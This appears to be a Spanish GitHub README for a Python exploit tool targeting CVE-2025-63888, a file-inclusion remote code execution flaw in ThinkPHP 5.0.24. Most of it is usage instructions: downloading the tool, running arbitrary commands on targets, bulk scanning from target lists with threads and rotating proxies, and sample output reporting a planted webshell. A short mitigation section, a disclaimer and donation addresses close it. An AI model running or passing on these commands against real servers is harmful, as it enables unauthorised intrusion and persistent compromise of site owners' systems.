
Herramienta de investigación de seguridad para detectar y probar CVE-2025-63888 (vulnerabilidad de ejecución remota de código por inclusión de archivos en ThinkPHP 5.0.24)
Una herramienta de investigación de seguridad para detectar y probar la vulnerabilidad CVE-2025-63888 en ThinkPHP 5.0.24, que permite la ejecución remota de código mediante ataques de inclusión de archivos.
Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Utilice esta herramienta únicamente en sistemas que posea o para los cuales tenga permiso explícito por escrito para realizar pruebas.
CVE-2025-63888 es una vulnerabilidad crítica de ejecución remota de código en ThinkPHP 5.0.24. La vulnerabilidad existe en la función read ubicada en thinkphp/library/think/template/driver/File.php, que permite a los atacantes ejecutar código arbitrario mediante ataques de inclusión de archivos manipulando la ruta de la plantilla en la función view().
Puntuación CVSS: 9.8 (Crítica)
Versión afectada: ThinkPHP 5.0.24 (versión exacta)
Archivo vulnerable: thinkphp/library/think/template/driver/File.php
Función vulnerable: Método read()
# Clone the repository
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x cve_2025_63888_exploit.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py
# Install dependencies
pip install requests
# Single target
python3 cve_2025_63888_exploit.py -u http://target.com
# Execute custom command
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
# With threading for faster scanning
python3 cve_2025_63888_exploit.py -u http://target.com -t 5
# Verbose output for debugging
python3 cve_2025_63888_exploit.py -u http://target.com -v
# Single proxy
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
-u, --url URL del objetivo
-f, --file Archivo que contiene las URL de los objetivos (una por línea)
-c, --command Comando a ejecutar (por defecto: id)
-t, --threads Número de hilos (por defecto: 1)
-o, --output Archivo de salida (por defecto: uknf_results.json)
-v, --verbose Habilitar registro detallado
--proxy URL del proxy (ej., http://127.0.0.1:8080)
--proxy-list Archivo que contiene las URL de los proxies (una por línea)
El script genera un archivo JSON con resultados detallados:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:05:35.763409",
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/index.php/index/index/view",
"webshell_created": true,
"webshell_path": "../../../runtime/log/2025/11/18.log"
}
view()Si está utilizando ThinkPHP 5.0.24:
Actualice inmediatamente:
Implemente validación de rutas:
view()../, ..)Correcciones a nivel de código:
realpath() para asegurarse de que los archivos estén dentro de directorios permitidospython3 cve_2025_63888_exploit.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"
# Single proxy
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
¡Las contribuciones son bienvenidas! No dude en enviar una solicitud de extracción (Pull Request).
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si encuentra algún problema o tiene sugerencias, por favor abra un issue en GitHub.
Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE para más detalles.
Si encuentra útil esta herramienta, ¡considere darle una estrella en GitHub!
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los autores no se responsabilizan por ningún uso incorrecto o daño causado por este programa. Los usuarios son responsables de asegurarse de tener la autorización adecuada antes de probar cualquier sistema.
Si encuentra útil esta herramienta y desea apoyar el proyecto:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
¡Gracias por su apoyo! 🙏